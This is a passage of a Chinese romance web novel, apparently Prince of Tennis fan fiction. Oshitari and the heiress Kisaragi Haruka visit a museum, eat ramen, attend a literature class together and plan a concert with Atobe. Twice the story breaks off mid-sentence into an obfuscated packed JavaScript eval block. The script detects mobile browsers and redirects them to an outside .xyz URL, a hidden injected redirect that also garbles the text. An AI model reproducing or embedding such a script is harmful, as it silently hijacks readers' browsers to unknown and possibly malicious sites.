他下意识地想起她手机里那片孤寂清冷的月光壁纸,想起她周身那股生人勿近的气场,想起她平日里那副对大多数事物都显得淡漠疏离的态度。 原来,在这层冰冷的外壳之下,她内心渴望的,竟是温暖吗? 这个认知让他的心尖像是被什么东西轻轻烫了一下,泛起细微的疼惜和更深的探究欲。 离开美术馆时,纪念品商店琳琅满目。 如月遥的目光在货架上停住了,那里挂着一些毛茸茸的、造型可爱的艺术画作周边挂件。 拿起一个根据莫奈《睡莲》色彩印象制作的、毛绒绒的圆形小挂件,粉色、紫色、绿色交织,软萌得与她清冷的气质和手上那只颇为典雅的中式手包格格不入。 但她似乎很满意,利落地付了钱,然后低头将这个温暖的、毛茸茸的睡莲挂件,系在了自己那只风格截然不同的手包拉链上。 那种违和的搭配,产生了一种奇特的、只属于她的吸引力。 走了两步,她像是忽然想起什么,又转身折返回去,在忍足略带疑惑的目光中,很快地又拿起一个同系列但稍小一点的睡莲钥匙扣。 她走回来,将这个小小的钥匙扣递到忍足面前,表情依旧没什么变化,语气平淡得像是在说与她毫无关系的事:“给你的。导游辛苦了,小礼物。” 忍足看着递到眼前的、那个毛茸茸的、色彩温柔的小东西,再抬眼看看她一本正经的清冷面容,一个没忍住,低低地笑出了声。 胸腔震动,关西腔里裹满了愉悦:“哎呀呀,这还是第一次收到大小姐送的礼物呢,还是这么可爱的……” “谢谢,我很喜欢。” 他伸出手,郑重地接了过来,指尖不经意地擦过她的,那微凉的触感让他心头一动。 他将那枚小小的睡莲钥匙扣攥在手心,质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526617|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感柔软而温暖,仿佛真的将她所说的那份“温暖”,短暂地握在了手里。 他笑着,将它小心翼翼地放进了西装裤的口袋。 这大概是他的钥匙圈上,即将出现的最不符合他平日风格,却也是最珍贵的一个挂件了。 在美术馆里沉浸许久,又沿着公园的林荫道漫步了一阵,阳光透过树叶缝隙洒下,虽不烈,但也走了不少路。 忍足注意到如月遥脚步虽依旧平稳,但频率稍稍慢了些许。 “累了吗?”他放缓脚步,侧头询问,“前面有长椅,休息一下?” 如月遥没反对,点了点头。 忍足让她在树荫下的长椅坐下,自己则快步走向不远处的自动贩卖机。选了一瓶矿物质含量稍高的矿泉水,拧开瓶盖,才走回来递给她。 “谢谢。”如月遥接过,冰凉的水液滑过喉咙,驱散了些许行走带来的微热。 两人并排坐着,中间隔着恰到好处的社交距离。 公园里很安静,只有风吹过树叶的沙沙声和远处隐约传来的孩童嬉笑声。 短暂的沉默并不尴尬,反而有种闲适的宁静。 或许是刚才艺术品的余韵还未散去,如月遥看着前方被阳光照得发亮的叶片,忽然开口问道:“你喜欢什么风格的作品?” “文学或者影视方面。” 忍足略微惊讶于她会主动开启话题,但很快回应,镜片后的眼神带着点思索:“嗯……我比较偏好昭和时代那种带着点物哀和宿命感氛围的作品吧。” 他笑了笑,语气变得稍微有些不好意思,关西腔也软了几分,“或者细腻的纯爱风格也挺喜欢的。” “纯爱?”如月遥转过头来看他,清冷的眼眸里第一次清晰地出现了一种名为“震惊”的情绪,微微睁大了一些。 她上下打量了他一番,从他慵懒优雅的姿态,到他那双天生就像含着情意的桃花眼,语气里带着难以置信:“你看上去……” 她微妙地想了想,似乎在挑选合适的词语,最后选了一个非常直白的说法:“像是谈过十八个女朋友的样子。” “居然会喜欢纯爱?” “噗——咳咳!”忍足差点被自己的口水呛到,眼镜都滑下鼻梁几分。 他猛地转过头,脸上是货真价实的大惊失色,关西腔都差点忘了,“十、十八个?!大小姐,你这也太夸张了!” 他连忙把眼镜推回去,表情是前所未有的认真,甚至带上了一点急于澄清的委屈:“我看起来可能不太像,但是!” “我至今为止,还没有谈过任何一场恋爱!” “纯爱怎么了?喜欢纯爱犯法吗?” 他难得地语速加快,试图维护自己“清白”的形象,最后无奈地叹了口气,指了指自己的脸,语气变得有些自嘲:“这也不是我能决定的啊……父母给的外表,我也很困扰的。” 说完还故作忧伤地摇了摇头。 如月遥看着他这副急于辩解、甚至有点手忙脚乱的样子,再结合他平日里那副游刃有余、仿佛看尽风月的精英姿态,强烈的反差让她终于没忍住,唇角极其轻微地向上弯了一下。虽然很快就收敛了,但那双总是平静的眼眸里,确实掠过了一丝真切的笑意。 她轻轻“呵”了一声,难得调侃:“是吗?那还真是……反差很大啊。” 阳光透过树叶的缝隙,在她精致的侧脸上投下斑驳的光影,那瞬间柔和下来的线条,让忍足看得有些发怔。 虽然被质疑了“情史”,但能换来她这难得一见的、几乎算得上是“忍俊不禁”的表情,他觉得这波不亏,甚至血赚。 他摸了摸鼻子,也跟着笑了起来,无奈又坦然:“是啊,所以大小姐以后可别再凭外表判断我了。” “我的内心,可是很纯粹的。” 16. 第 16 章 休息得差不多了,如月遥很直接地开口:“我饿了,去吃饭吧。” 语气里暗藏着因饥饿而即将萌芽的小烦躁。 忍足对她这“饿极脾气就差”的特性早已心知肚明,几乎是掐着时间点准备的。 “正好,我知道附近商业街有家很不错的拉面店,汤底是一绝,带你去尝尝。” 他领着她,轻车熟路地穿过公园外的几条街,走进一条热闹却不显杂乱的小商业街,很快停在了一家挂着深蓝色暖帘、看起来颇有年头的小店前。 店内空间不大,充满了浓郁的食物香气和热闹的烟火气。 热腾腾的拉面很快被端上来,浓郁的骨汤冒着诱人的热气,叉烧厚实,溏心蛋诱人,笋干木耳丝点缀得恰到好处。 吃拉面难免发出轻微的吸溜声,热气也熏得人微微发汗。 忍足吃得还算优雅,但额角也沁出细密的汗珠。他抽出两张纸巾,很自然地递了一张给对面的如月遥。 如月遥接过纸巾却没立刻擦,目光落在忍足脸上,忽然毫无预兆地轻笑出声。 笑声很轻,像羽毛拂过心尖,却让忍足动作一顿,疑惑地抬眼看向她。 只见如月遥眼中伸出一根纤细的手指,隔空点了点他的鼻梁上方,“忍足君,你的眼镜……全是雾,先擦擦它吧。” 热气模糊了他的镜片,让他那双总是被镜片遮掩的、此刻显得有些茫然的桃花眼若隐若现,配上他微微愣怔的表情,确实有几分难得的滑稽。 她笑起来真好看。 不是平日里那种疏离的、礼节性的弧度,而是真正被逗乐了的、眼睛微弯的模样,像冰雪初融,春水泛波。 忍足只觉得心脏像是被什么东西猛地撞了一下,咚、咚、咚地擂起鼓来,节奏快得让他耳根发烫。 一股混合着羞赧和尴尬的热气“腾”地冲上头顶。 他几乎是下意识地低下头,手忙脚乱地摘下那副碍事的眼镜,用纸巾胡乱地擦拭着镜片,嘴里含糊地应着,声音都低了几度。 “啊……真是……失礼了……” 擦干净后,他却没有立刻戴回去,而是将眼镜折好,放在了桌边。 吃拉面确实太容易起雾了,他想。 如月遥看着他这一连串动作,好奇地问:“不戴眼镜看得清吗?” 忍足微微别开脸,不太自在地摸了摸鼻梁,“其实……我不是近视眼。那是平光镜。” “平光镜?”如月遥更疑惑了,“为什么喜欢戴眼镜?” 在她看来,他那张脸尤其是那双眼睛,被镜片挡着实在有点可惜。 话已至此,忍足似乎也破罐子破摔了,反正今天“纯情人设”都快崩塌完了。 他叹了口气,声音压低了些,带着点难以启齿的羞涩:“因为被人一直盯着看的话,会有点……害羞。戴个眼镜,感觉能稍微挡一下。” 这理由听起来有点幼稚,但却是实话,这双过于招摇的眼睛给他带来过不少困扰。 话音刚落,他就感觉到一道专注的视线牢牢锁定了自己。 他下意识地抬起头,正好撞进如月遥那双漂亮得过分的眼眸里。 她什么也没说,只是微微向前倾身,拉近了两人之间的距离,眸子一眨不眨地、认真地盯着他的脸看,仿佛要在他脸上研究出什么花纹来。 距离太近了,近到他能清晰地看到她长而密的睫毛,看到她眼底自己有些无措的倒影,甚至能感受到她呼吸间轻微的、带着拉面热气的微风。 她的眼睛美得惊人,像蕴藏着星辰的黑曜石,有种几乎要將人吸进去的魔力。 忍足心里跟明镜似的,知道她这绝对是故意的,是在逗他玩,报复他之前那句“内心纯粹”的自辩,或者单纯只是觉得他害羞的样子有趣。 理智上清楚得很,但情感上他的脸颊还是不受控制地、一点点、慢慢地变红了,从耳根蔓延到脖颈,热度惊人。 他甚至能感觉到自己的心跳声在嘈杂的面店里都显得格外清晰。 如月遥像是欣赏够了他这副窘迫的模样,终于心满意足地撤回了视线,重新拿起筷子,姿态优雅地夹起一筷子面条,仿佛刚才那个突然凑近“调戏”他的人不是她一样。 她吹了吹热气,将面条送入口中,咀嚼咽下后,才抬起眼,语气平淡地扔下一颗重磅炸弹: “你长得确实很帅。” “咳!咳咳咳……” 忍足侑士,东大医学部天才,忍足家的继承人,网球场上冷静精准的精英,此刻,被一口汤呛得惊天动地,满脸通红,半天没缓过气来。 而罪魁祸首如月大小姐,则若无其事地继续享用着她的午餐。 饱餐一顿后,两人之间的气氛似乎更加松弛了些。 忍足提议去不远处的不忍池走走,如月遥没有异议。 还未走近,便能感受到那片开阔水域带来的清凉。池水碧波荡漾,大片大片的翠绿荷叶铺陈开来,其间点缀着或粉或白、娇嫩欲滴的荷花,亭亭玉立,在微风中轻轻摇曳。 远处的鹭鸟掠过水面,激起浅浅涟漪,风景确实宜人。 “风景很好,”忍足看着眼前的景致,又看向身旁仿佛与这古典画面融为一体的如月遥,心中微动,试探着问,“要帮你拍几张照片吗?” 如月遥转过头,帽檐下的眼睛带着一丝审视:“你的拍照技术怎么样?” 忍足扶了扶刚刚重新戴好的眼镜,嘴角扬起自信的弧度:“嘛…虽然不敢自称专业,但绝对不会让大小姐失望。” “请允许我为您展示一下?”关西腔里带着点跃跃欲试的意味。 如月遥似乎被他的自信逗乐了,轻轻颔首:“好啊。” 她走到池边一处柳丝轻拂、背景是连绵荷叶的位置,侧身对着镜头。 恰逢一阵风吹来,拂起她白色绸缎裤的裤脚和侧边的麻花辫发梢,她下意识地抬起一只手按住头上的宽檐遮阳帽,以免被风吹走。 这个动态的瞬间,她微微转过头,对着忍足镜头的方向,唇角很轻很轻地向上弯了一下。 那笑容很淡,几乎转瞬即逝,却不同于平日礼貌疏离的弧度,眼底清晰地流淌着一丝真实的、被美景和微风勾起的轻松与快乐。 像是冰雪覆盖下的初芽,悄然探出头来。 忍足立刻举起手机,调整角度,避开杂乱的人群,将画面中心牢牢锁定在那个按着帽子、发丝微扬、笑容清浅的紫衣身上,背景是虚化的碧荷与蓝天。 他连续按了几下快门,捕捉下了这难得的一刻。 如月遥走过来查看,照片里动态自然,构图巧妙,光影柔和,确实拍得极好,将她那一刻不经意流露的鲜活气息完全保留了下来。 “拍得不错啊。”她客观地评价道,语气里能听出一丝满意。 忍足松了口气,笑容加深:“大小姐过奖了。晚点我传给你。” “嗯。” 两人沿着池边缓步而行,穿过一座小桥,走到了位于不忍池中间的弁天堂。 小小的寺庙香火缭绕,却异常安静,与旁边商业街的喧嚣仅一水之隔,却仿佛是两个世界,有种奇特的闹中取静的禅意。 他们并没有进去参拜,只是绕着走了走,感受这份宁静,随后又信步走向一旁的恩赐公园。 忍足断断续续地介绍着周边的历史和景点,如月遥偶尔会提出一两个她关心的问题,大多与建筑风格或植物相关。 走到一处典型的日式枯山水庭院景观前,白色的砂石被耙出整齐的波纹,象征着水流,几块顽石点缀其间,意境幽远寂寥。 如月遥静静地看了一会儿,忽然开口问:“忍足君,你去过中国吗?” 忍足有些意外她会突然问这个,回答道:“只因为家族事务和网球交流去过几次北京。见过颐和园,非常宏伟。” 如月遥闻言,轻轻摇了摇头,目光依旧停留在那片枯山水上,“北方的园林和南方的不同。” “颐和园是皇家气派,大气磅礴。但南方的私家园林更精巧雅致,讲究移步换景,方寸之间别有洞天。” 似乎想起了故乡的景致,“比如W市的园林,就不一样。” 忍足看着她侧脸流露出的那一点极淡的、类似于怀念的情绪,心念一动,半是玩笑半是认真地接口:“听大小姐这么说,真是令人向往。” “哪天有机会,不知道能不能有幸让大小姐当导游,带我见识一下真正的江南园林?” 他说完,有些期待又有些忐忑地等待她的反应。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526618|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几乎算是一个隐晦的、关于未来的邀请了。 如月遥沉默了片刻,目光从枯山水上移开,看了他几秒,似乎在衡量什么,然后很轻地点了一下头,语气依旧没什么起伏,却给出了一个清晰的承诺: “好的。有机会的话,带你去见见。” 不是敷衍的“再说吧”,也不是模糊的“可能”,而是一个肯定的“好的”和“带你去”。 忍足侑士镜片后的眼睛弯了起来,关西腔调愉悦地上扬:“那就说定了,我很期待。” 夕阳将天空染成暖橙色时,一天的游览也接近尾声。 走回停车场的路上,如月遥的脚步比来时更慢了些,虽然依旧挺直着背脊,但眉宇间透出一丝不易察觉的倦意。 忍足为她拉开车门,她低声道谢,坐进副驾驶座时,几乎是立刻放松了身体,微微向后靠进椅背,轻轻吁了口气。 忍足绕到驾驶座,系好安全带,却没有立刻发动车子。 侧身从后座拿出一个记忆棉腰靠递给她:“垫一下会舒服点,今天走了不少路。” 如月遥有些意外地看了看腰靠,又看了看他。 忍足已经非常自然地探过身,习惯性地想帮她调整到最舒适的位置——就像之前那次一样。 如月遥似乎也习惯了他的这种体贴,并没有拒绝,只是配合地微微直起身子。 熟练地将腰靠塞到她后腰与座椅之间的空隙,轻轻按压调整了两下,确认支撑到位后才收回手。 “谢谢。”她低声道,重新放松地陷进带着腰靠的座椅里,确实感觉舒适了不少。 车子平稳地驶入傍晚的车流。 忍足打开了车载音响,依旧是舒缓的古典乐,音量调得恰到好处。 如月遥闭上眼睛,似乎打算小憩片刻。忍足将空调风量调小,尽量保持车速平稳,为她创造一个安静的休息环境。 车内很安静,只有悠扬的乐曲流淌。 忍足偶尔侧目,能看到她恬静的睡颜,长睫在眼下投下浅浅的阴影,褪去了平日的清冷,显得格外柔和。 他的目光不经意地下移,落在她放在腿上的手包,以及那个毛茸茸的、色彩温暖的莫奈睡莲挂件上。 即使闭着眼睛,她的右手手指也无意识地轻抚着那个软乎乎的挂件,像是在汲取某种安心的触感。 忍足的心瞬间柔软得一塌糊涂。 真是可爱啊。 这位外表冷若冰霜、武力值超高的大小姐,内里却有着这样柔软甚至有些孩子气的一面。 这种反差萌让他心跳失序,嘴角抑制不住地上扬。 在一个等红灯的漫长间隙,他看着她依旧轻抚挂件的指尖,忽然想起一件事,用比音乐声稍大一点的音量提起:“我选修了文学部下周二的那门《日本古典文学赏析》课。” 如月遥的眼睫颤动了一下,缓缓睁开眼睛,似乎从浅眠中清醒过来。 她转过头看他,眼神还有些朦胧,但意识显然是清晰的。 她顿了顿,像是消化了这个信息,然后非常自然地接话:“嗯。那节课很爆满,去晚了只能坐最后排或者台阶上。” 她语气平淡,却给出了一个让忍足几乎要屏住呼吸的提议:“我可以帮你占个座。” !!!! 忍足内心瞬间炸开了漫天烟花,狂喜的情绪像海啸般席卷而来,冲击得他指尖都有些发麻。 但他强大的表情管理能力在此刻发挥了作用,表面上只是露出了一个恰到好处的、带着愉悦的微笑,关西腔努力维持着平稳:“哎呀,那真是帮大忙了。非常感谢,大小姐。” 他立刻投桃报李:“作为答谢,那天我给你带甜点吧?我记得你喜欢栗子口味的?” 如月遥闻言蹙眉,很认真地思考了一下这个问题,然后才给出答复。语气里带着她特有的、直白又挑剔的准则:“可以。但不能太甜,会胖。” 忍足终于忍不住低笑出声,胸腔微微震动。 连这种“嫌弃”的话,在他听来都变得无比可爱。 “嗨~嗨~我知道了,会仔细挑选糖度适中、口感高级的栗子蒙布朗,保证不让大小姐的体重增加负担。” 今天的心情如同车窗外被夕阳点燃的云霞,绚烂而明亮。 17. 第 17 章 周二下午 “日本古典文学赏析”的教室一如既往地人头攒动,甚至比平时更拥挤了些。 毕竟校园论坛的持续发酵,让这节本就热门的课变成了某种意义上的“观光景点”。 忍足侑士拿着文学部的教材出现在教室门口时,几乎瞬间就吸引了所有或明或暗的视线。 他穿着简单的白衬衫和休闲西裤,目光慵懒地扫过教室,精准地落在了靠窗那个熟悉的身影上。 如月遥周身仿佛自带一层无形的真空隔离带,前后左右的座位都空着,无人敢轻易靠近。 她正低头看着摊开的书页,手边放着一个保温杯。 忍足步伐从容地穿过过道,在她旁边的空位前停下。 似乎察觉到光影的变化,如月遥抬起头看了他一眼,没有任何惊讶或欢迎的表示。 然后,她做了一个极其细微却意义重大的动作。 伸手将自己旁边空桌位上的保温杯默默拿了回来,放在了自己这一侧。 无需任何言语,忍足心领神会。 这个空位,是留给他的。 他唇角极快地弯了一下,随即恢复淡然,在无数道混杂着震惊、好奇、探究的目光中,无比自然地在那个被“赦免”了的空位上坐了下来。 放下书,翻开,动作流畅得像排练过无数次,仿佛他本该就坐在这里。 而如月遥全程没有投来第二个眼神,也没有说一句话,仿佛他只是空气,或者只是一个无需额外招呼的存在。 这种理所当然的默许,比任何热情的招呼都更具冲击力。 “嘶——”教室里隐约响起一片倒抽冷气的声音。 紧接着便是无数手机在课桌下被疯狂点亮,论坛的新帖子如同病毒般飞速刷新。 【爆!他来了他来了!他真的来上文学部的课了!还坐在了如月桑旁边!!】 【如月桑默认了!她还把杯子挪开了!那是专门给他留的座吧?!绝对是吧?!】 【真空带被打破了!医学部王子成功入侵冰山领域!】 【他们看起来好自然……难道不是第一次一起上课了?】 【所以上次午餐不是偶然?是定期投喂?】 【老师快讲课!但谁还听得进去啊!(疯狂拍照.jpg)】 正如论坛所言,这堂课老师到底讲了《源氏物语》和《红楼梦》的哪些比较文学观点,已经没多少人在意了,所有人的注意力几乎都被那靠窗的、画风迥异却又异常和谐的两人吸引。 课程过半,老师布置了一个随堂笔记任务。 忍足习惯性地去摸内袋的钢笔,却摸了个空。动作顿了一下,微微皱眉。 就在这时,一只白皙的手捏着一支通体黑色、造型极简却质感十足的钢笔,递到了他眼前。 是如月遥。 她依旧看着前方的黑板,目光专注,仿佛递笔只是一个无意识的顺手行为,甚至没有侧头看他一眼。 忍足愣了一下,随即眼底漾开难以掩饰的笑意,低声道:“谢谢。” 他拿起那支还带着她指尖微凉温度的钢笔,旋开笔帽,在崭新的笔记本上落笔。 笔尖流畅,出墨均匀,是一支极好的笔。 而这一幕,毫无意外地再次被捕捉,引发了内心式的疯狂呐喊和论坛的新一轮爆炸。 【看到了吗看到了吗?!如月桑给忍足君递笔了!】 【她居然主动借东西给别人?!那个据说连追求者碰过的书都会直接扔掉的如月桑?!】 【眼神都没给一个,但笔就递过去了……这默契……】 【我人没了!这到底是什么绝美相处模式!】 【忍足君笑得好苏啊!他低头说谢谢的样子我死了!】 【这还不算实锤?这还不算?!】 一节课就在这种表面平静无波、实则暗潮汹涌的状态下结束了。 下课铃响,忍足将笔帽仔细盖好,递还给如月遥:“谢谢你的笔,大小姐。” 如月遥接过,随意地塞进包里,仿佛只是做了件微不足道的小事。站起身,拿起书和保温杯,准备离开。 忍足也跟着起身,走在她身侧稍后半步的位置,如同上一次在校园里并肩时一样,自然而然地隔绝了周围过于密集的视线。 论坛的服务器,今晚恐怕又要经受严峻的考验了。而忍足侑士的心情,如同窗外湛蓝的天空,晴朗得万里无云。 迹部景吾最近感到相当无语。 这种情绪,很大程度上源于他那位认识了多年的好友,忍足侑士。 那个曾经还能约出来打打球、聊聊时事、甚至被他拉去高级餐厅品评新菜式的关西天才,最近就像是被人下了降头,三魂七魄都被文学部那轮“冷月”给勾走了。 具体表现为:拒绝了他至少三次午餐邀约,理由从“要去图书馆查资料”到“约了教授讨论课题”,最后一次甚至直接已读不回! 结果呢? 论坛上的热门帖照片拍得清清楚楚。 医学部贵公子捧着两本文学书,坦然跟在那位如月大小姐身后,眼神能拉丝,隔着像素都能感受到那股子“不值钱”的殷勤劲儿。 “呵。”迹部冷哼一声,将手机屏幕按熄,丢在桌面上。 真是太不华丽了。 喜欢一个人至于变成这样吗? 连基本的社交礼仪和兄弟情谊都抛诸脑后了? 他端起手边的红茶抿了一口,试图平复一下这种类似“自家养了多年的高冷猫突然跑去别人家门口翻肚皮”的复杂心情。 但转念一想,忍足那家伙确实都是一副慵懒随性、对什么都好像不太上心的样子,情绪内敛得堪比精密仪器,能让他如此外露地表现出喜欢、甚至带着点幼稚占有欲的行为,好像还真是破天荒头一遭。 “啊嗯……难得。”迹部摩挲着泪痣,自言自语道,虽然方式不华丽,但这份罕见的热忱,倒也算真情流露? 正当他进行着这番矛盾的内心活动时,餐厅入口处传来一阵轻微的骚动,伴随着刻意压低的惊呼和窃窃私语。 迹部不用抬头就知道是谁来了。 现在整个东大,能有这种走到哪儿都是焦点的效果的,除了他自己,大概也就只有那对组合了。 他抬眸望去,果然,如月遥和忍足侑士一前一后走了进来。 如月遥依旧是那副对周遭视线完全免疫的冷淡模样,目标明确地走向取餐区。 而忍足…… 迹部看着那家伙跟在女孩身后半步的距离,镜片后的目光其实全程就没从人家脸上移开过,那姿态…… “切,”迹部忍不住又嗤了一声,“不华丽的男人。” 他看着那两人取了餐,忍足甚至还顺手帮如月遥拿了她想吃的甜点,动作自然得仿佛演练过无数次。 就在这时,取完餐转身的忍足,视线扫过餐厅,恰好对上了迹部带着明显调侃和不满的目光。 迹部挑了挑眉,用眼神传递着清晰的信息: 啊嗯?看到本大爷了? 还不过来坐?难道要继续重色轻友? 忍足明显接收到了他的信号,脚步顿了一下,脸上闪过一丝极其细微的犹豫。 他先是下意识地看了一眼走在前面的如月遥,然后迅速低下头,凑近她耳边,低声说了两句话。 迹部看到如月遥的脚步也停了下来,侧头听他说完,目光随即朝着迹部所在的方向瞥了一眼,那眼神看不出任何情绪,然后,她极其轻微地点了一下头。 迹部就看到忍足脸上露出一个如释重负的笑容,然后他居然领着如月遥,一起朝着自己这张桌子走了过来。 迹部景吾:“……” 这家伙…… 现在是连单独跟朋友坐一会儿、说几句话都不行了吗? 一分钟都不能离开那位大小姐的视线? 还是说是怕本大爷对他的月亮说些什么? 看着越走越近的两人,尤其是忍足那副“征得了同意才敢带朋友过来”的没出息样子,迹部忽然觉得有点头疼。 他优雅地拿起餐巾擦了擦嘴角,准备好好“招待”一下这位陷入爱河后智商急剧下降的老友,以及这位让他好奇心达到顶峰的、神秘的如月家二小姐。 迹部景吾看着在自己对面落座的两人。 忍足那家伙几乎是下意识地先为如月遥拉开椅子,等她坐下后自己才挨着她坐下。 迹部决定率先打破这有点奇怪的气氛。 他的目光投向如月遥,语气是惯有的、带着社交距离的熟稔,毕竟他们在京都赏花宴上已经见过: “如月小姐,在东京的校园生活还习惯吗?” 如月遥正用刀叉细致地切割着盘子里的牛排,闻言抬起头,对上迹部的视线。 对于这位在赏花宴上没有像其他人那样带着偏见或畏惧、并且是忍足明显好友的迹部少爷,她的态度还算友善,虽然依旧简洁:“还不错。文学部的课程很有意思。” 迹部轻笑一声,指尖点了点桌面:“何止是很有意思。” “你现在可是东大的风云人物了,校园论坛几乎天天被你的相关话题引爆。” 他这话带着三分调侃,七分陈述事实。 如月遥切割牛排的动作顿住了,“论坛?什么论坛?” “……” 迹部和忍足同时沉默了,空气中弥漫开一股诡异的尴尬。 忍足侑士扶额。 他居然忘了这位大小姐是个几乎不关注世俗八卦、社交圈极其简单、可能连校园论坛入口在哪都不知道的人。 不过,他也不想让她看到论坛上那些乱七八糟的猜测偷拍,还有他被捕捉到的、看起来确实有点“不值钱”的瞬间。 万一她看了不高兴怎么办? 他立刻急切地打岔,强行将话题引向迹部:“啊,说起来,迹部你最近不是一直在忙高校联合汇演的事情吗?筹备得怎么样了?” 迹部何等精明,立刻看出了好友那点小心思。 他好整以暇地靠回椅背,眼眸里 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一直默默吃饭的如月遥,握着叉子的手几不可查地停顿了一下。虽然动作极其细微,但一直用眼角余光关注着她的忍足立刻捕捉到了。 他心念一动,几乎是下意识地就替她问出了口,“传统民俗乐器?是指……中国乐器之类的吗?” 迹部看了忍足一眼,又瞥了一眼似乎竖起耳朵的如月遥,点了点头:“没错。” “已经联系了各大高校的中国留学生学联,他们应该会组织一些颇具特色的节目,比如古筝、二胡、笛子之类的。” 他看向如月遥,带着邀请的意味,“如月小姐如果有兴趣,也可以了解一下。” 如月遥没有立刻回应,只是慢条斯理地吃完最后一口牛排,拿起餐巾擦了擦嘴角,然后才抬起眼,问了一个非常具体的问题: “有琵琶吗?” “琵琶?”迹部眼中闪过兴趣。 那种乐器音域宽广,表现力极强,既能演绎金戈铁马,也能诉说婉转情思,但掌握起来难度颇高,需要深厚的功底。 “没想到如月小姐还精通此道,真是令人刮目相看。” 当迹部顺势提出:“既然如此,如月小姐有没有兴趣代表东大参加这个环节?与其他擅长民乐的同学合奏……” 如月遥几乎没有任何犹豫,直接摇了摇头,拒绝得干脆利落:“没兴趣。” 她放下水杯,眼神疏淡,“和不认识的人合奏,很麻烦。” 她的理由直接又自我,完全符合她一贯怕麻烦、不善也不愿额外社交的性格。 场面一时有些冷。 迹部虽然预料到这位大小姐没那么好请动,但也没想到会被拒绝得这么不留余地。 就在这时,忍足推了推眼镜,镜片后的目光微闪,提出了一个新的构想:“其实,未必一定要局限于传统乐器内部的合奏。” 他看向迹部,语气变得认真了些,“既然是高校联合汇演,旨在展现多样性与融合,或许我们可以尝试更大胆的编排?” “比如,将西洋乐器与东方传统乐器结合。” 目光不经意地扫过身旁安静进食的如月遥:“譬如,迹部你的钢琴作为基底和声,我的小提琴负责旋律主线,再加入如月小姐的琵琶作为华彩和点睛之笔……” “甚至可以吸纳更多东大来自世界各地的留学生,加入他们国家的特色乐器,形成一个真正意义上的、世界乐器的小融合。” “这样的表演,既有创新性,又能完美契合‘文化交流’的主题,听起来不是更酷吗?” 迹部眼眸亮了一下,显然被这个想法触动。 但下一秒,他就捕捉到了忍足那看似公允的建议下,隐藏得极深的小心思。 这分明是想把他自己和那位如月大小姐,牢牢绑定在同一个节目里,创造更多“合情合理”的相处时间。 迹部似笑非笑地看着忍足,指尖习惯性地点着泪痣,拖长了语调:“啊嗯?将西洋乐与古典民乐融合……想法倒是不错,听起来还算华丽。” 他话锋一转,眼神里的调侃几乎要溢出来,“不过,忍足,你这提议……有点意思?嗯?” 忍足尴尬地咳嗽了一声,下意识地扶了扶眼镜试图遮挡表情,关西腔都弱了几分:“嘛……我这也是从汇演的效果出发,觉得这样确实更有看点而已……” 辩解得十分苍白无力。 而处于话题中心的如月遥,依旧慢条斯理地吃着她的栗子蛋糕,对于这个将她包括在内的、听起来颇为宏大的音乐企划,并没有表现出太大的兴趣,也没有再次直接拒绝,只是不置可否地保持着沉默,仿佛他们讨论的事情与她无关。 忍足见她这个态度,也不敢再继续怂恿或多说什么,生怕惹得她反感,只好暂时偃旗息鼓。 迹部看着好友这副小心翼翼试探又不敢越雷池的样子,最终也只是优雅地哼了一声,算是暂时放过了他。 至于这个“世界乐器融合”的企划,倒确实在他心里留下了一个值得考虑的种子。 18. 第 18 章 接下来的几天,忍足侑士不得不暂时将大部分精力投入到高校联合汇演的筹备中。 毕竟答应了迹部的邀约,就要尽力做到最好。 他和迹部以及陆续召集来的几位擅长不同乐器的东大精英,尝试合练了几首备选曲目。有经典的东西方名曲改编,也有现代融合乐的代表作。 但几次合奏下来,总觉得差强人意。 要么是曲目本身过于强调某一种乐器的特色而难以平衡,要么是编排听起来像是简单的乐器堆砌,缺乏灵魂和真正打动人心的融合感。 迹部对“世界乐器大融合”这个概念很感兴趣,追求完美的他显然也对目前的进展不甚满意,排练室的气压有点低。 忍足心里始终萦绕着那个念头。 如果能加入琵琶,尤其是由她来演奏,那清越剔透又极具表现力的音色,一定能成为串联起东西方旋律的关键桥梁,也能让整个表演提升一个层次。 更重要的是,他想和她一起站在舞台上。 这天晚上,排练结束后,忍足带着些许挫败感回到家。 拿起手机,点开那个极简的聊天界面,犹豫了片刻,还是将今天尝试过的几首曲目的名字和简要描述发了过去。 【忍足侑士】:排练不太顺利。试了这几首,总觉得少了点什么。大小姐有什么建议吗?或者觉得什么样的曲子适合这种大杂烩?(附上曲目列表) 消息发送成功,他将手机放在桌上,拿起换洗衣物走进浴室。热水冲刷着身体,却冲不散心里的那点期待和忐忑。 洗完澡出来,他第一时间拿起手机——屏幕漆黑,没有任何新消息提示。 一个小时过去了,手机安静。 两个小时过去了,界面依旧停留在他发出的那条消息上。 忍足靠在床头,手里拿着医学文献,却一个字也看不进去,眼神每隔几分钟就要飘向手机屏幕。 “是生气了吗?”他回想信息的语气似乎没什么问题,就是普通的请教。 “还是她在忙?文学部的功课很重?” “或者……只是单纯觉得麻烦,懒得理我?” 这个念头最让他沮丧。 心里的念头百转千回,像被猫爪胡乱挠过的毛线团。 他想再发条信息过去,又怕显得太过纠缠,惹她厌烦。 最终,也只能无奈地叹了口气,将手机塞到枕头底下,强迫自己闭眼睡觉。 只是这一夜,睡得并不安稳。 第二天早上,他是被闹钟吵醒的。 意识回笼的瞬间,他几乎是立刻伸手摸向枕头底下,掏出了手机。 解锁屏幕,通知栏依旧空空如也。 